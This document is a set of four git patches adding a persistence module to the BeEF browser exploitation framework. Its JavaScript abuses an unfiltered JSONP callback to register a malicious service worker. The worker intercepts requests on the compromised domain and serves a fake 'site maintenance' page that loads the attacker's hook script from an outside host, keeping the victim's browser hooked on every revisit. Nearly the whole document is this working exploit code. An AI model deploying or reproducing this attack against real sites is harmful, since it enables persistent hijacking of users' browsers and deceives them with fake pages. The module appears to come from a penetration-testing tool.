From 32454004e2f64702e1ee74c3d41807ee87e215f9 Mon Sep 17 00:00:00 2001 From: ccontin Date: Mon, 3 Apr 2017 15:49:19 +1200 Subject: [PATCH 1/4] first POC working --- .../persistence/jsonp_service_worker/command.js | 12 ++++++++++++ .../persistence/jsonp_service_worker/config.yaml | 16 ++++++++++++++++ .../persistence/jsonp_service_worker/module.rb | 13 +++++++++++++ 3 files changed, 41 insertions(+) create mode 100644 modules/persistence/jsonp_service_worker/command.js create mode 100644 modules/persistence/jsonp_service_worker/config.yaml create mode 100644 modules/persistence/jsonp_service_worker/module.rb diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js new file mode 100644 index 000000000..467a04db8 --- /dev/null +++ b/modules/persistence/jsonp_service_worker/command.js @@ -0,0 +1,12 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var scriptElem = document.createElement("script"); + scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27%3Cscript%20src%3D%5C%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; + $j("body").append(scriptElem); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); +}); diff --git a/modules/persistence/jsonp_service_worker/config.yaml b/modules/persistence/jsonp_service_worker/config.yaml new file mode 100644 index 000000000..0cbef7ae2 --- /dev/null +++ b/modules/persistence/jsonp_service_worker/config.yaml @@ -0,0 +1,16 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + jsonp_service_worker: + enable: true + category: "Persistence" + name: "JSONP Service Worker" + description: "This module will exploit an unescaped callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain" + authors: ["clod81"] + target: + working: ["C"] + not_working: ["S", "FF", "IE"] diff --git a/modules/persistence/jsonp_service_worker/module.rb b/modules/persistence/jsonp_service_worker/module.rb new file mode 100644 index 000000000..3eae100da --- /dev/null +++ b/modules/persistence/jsonp_service_worker/module.rb @@ -0,0 +1,13 @@ +class Jsonp_service_worker < BeEF::Core::Command + + def post_execute + save({'result' => @datastore['result']}) + end + + def self.options + return [ + {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='} + ] + end + +end From 8d685771fa8019ba32a5a64848f7e0c819ae80ca Mon Sep 17 00:00:00 2001 From: ccontin Date: Mon, 3 Apr 2017 16:12:23 +1200 Subject: [PATCH 2/4] add ability to return some fake HTML, instead of a blank page --- modules/persistence/jsonp_service_worker/command.js | 2 +- modules/persistence/jsonp_service_worker/module.rb | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js index 467a04db8..ed7f3c9eb 100644 --- a/modules/persistence/jsonp_service_worker/command.js +++ b/modules/persistence/jsonp_service_worker/command.js @@ -6,7 +6,7 @@ beef.execute(function() { var scriptElem = document.createElement("script"); - scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27%3Cscript%20src%3D%5C%27http%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; + scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27<%=@tempBody%>%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; $j("body").append(scriptElem); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); }); diff --git a/modules/persistence/jsonp_service_worker/module.rb b/modules/persistence/jsonp_service_worker/module.rb index 3eae100da..51638e372 100644 --- a/modules/persistence/jsonp_service_worker/module.rb +++ b/modules/persistence/jsonp_service_worker/module.rb @@ -6,7 +6,8 @@ class Jsonp_service_worker < BeEF::Core::Command def self.options return [ - {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='} + {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='}, + {'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users (ASCII HEX encoding needed)', 'value' => '%3Ch3%3EUnplanned%20site%20maintenance,%20please%20wait%20a%20few%20seconds,%20we%20are%20almost%20done.%3C%2Fh3%3E'} ] end From 40492399cf21fffb5522d933e2b52ad9eb281ef1 Mon Sep 17 00:00:00 2001 From: ccontin Date: Mon, 3 Apr 2017 16:15:52 +1200 Subject: [PATCH 3/4] change description slightly --- modules/persistence/jsonp_service_worker/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/persistence/jsonp_service_worker/config.yaml b/modules/persistence/jsonp_service_worker/config.yaml index 0cbef7ae2..bed313f8f 100644 --- a/modules/persistence/jsonp_service_worker/config.yaml +++ b/modules/persistence/jsonp_service_worker/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Persistence" name: "JSONP Service Worker" - description: "This module will exploit an unescaped callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain" + description: "This module will exploit an unfiltered callback parameter in a JSONP endpoint (of the same domain compromized) to ensure that BeEF will hook every time the user revisits the domain" authors: ["clod81"] target: working: ["C"] From defdadb673f650ff28c628ba3ebd968e05c6c2f8 Mon Sep 17 00:00:00 2001 From: Claudio Contin Date: Sun, 16 Apr 2017 15:28:48 +1200 Subject: [PATCH 4/4] encodeURIComponent instead of requiring user to input already encoded string use beef.net.hook instead of hook.js specify only chrome supported, and ALL others not --- modules/persistence/jsonp_service_worker/command.js | 6 ++++-- modules/persistence/jsonp_service_worker/config.yaml | 2 +- modules/persistence/jsonp_service_worker/module.rb | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/persistence/jsonp_service_worker/command.js b/modules/persistence/jsonp_service_worker/command.js index ed7f3c9eb..2015fa955 100644 --- a/modules/persistence/jsonp_service_worker/command.js +++ b/modules/persistence/jsonp_service_worker/command.js @@ -6,7 +6,9 @@ beef.execute(function() { var scriptElem = document.createElement("script"); - scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27<%=@tempBody%>%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%2Fhook.js%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; + var hook = encodeURIComponent(beef.net.hook); + var tempBody = encodeURIComponent('<%=@tempBody%>'); + scriptElem.innerHTML = 'navigator.serviceWorker.register("<%=@JSONPPath%>onfetch%3Dfunction(e)%7B%0Aif(!(e.request.url.indexOf(%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+'%27)>=0))%0Ae.respondWith(new%20Response(%27'+tempBody+'%3Cscript%20src%3D%5C%27'+beef.net.httpproto+'%3A%2F%2F'+beef.net.host+'%3A'+beef.net.port+hook+'%5C%27%20type%3D%5C%27text%2Fjavascript%5C%27%3E%3C%2Fscript%3E%27%2C%7Bheaders%3A%20%7B%27Content-Type%27%3A%27text%2Fhtml%27%7D%7D))%0Aelse%0Ae.fetch(e.request)%0A%7D%2F%2F")'; $j("body").append(scriptElem); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); + beef.net.send("<%= @command_url %>", <%=@command_id%>, "result=Script element inserted within the body, domain for the browser permanently compromized if everything went as expected."); }); diff --git a/modules/persistence/jsonp_service_worker/config.yaml b/modules/persistence/jsonp_service_worker/config.yaml index bed313f8f..7e73e208b 100644 --- a/modules/persistence/jsonp_service_worker/config.yaml +++ b/modules/persistence/jsonp_service_worker/config.yaml @@ -13,4 +13,4 @@ beef: authors: ["clod81"] target: working: ["C"] - not_working: ["S", "FF", "IE"] + not_working: ["ALL"] diff --git a/modules/persistence/jsonp_service_worker/module.rb b/modules/persistence/jsonp_service_worker/module.rb index 51638e372..cba8c137c 100644 --- a/modules/persistence/jsonp_service_worker/module.rb +++ b/modules/persistence/jsonp_service_worker/module.rb @@ -7,7 +7,7 @@ class Jsonp_service_worker < BeEF::Core::Command def self.options return [ {'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback='}, - {'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users (ASCII HEX encoding needed)', 'value' => '%3Ch3%3EUnplanned%20site%20maintenance,%20please%20wait%20a%20few%20seconds,%20we%20are%20almost%20done.%3C%2Fh3%3E'} + {'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users', 'value' => '

Unplanned site maintenance, please wait a few seconds, we are almost done.

'} ] end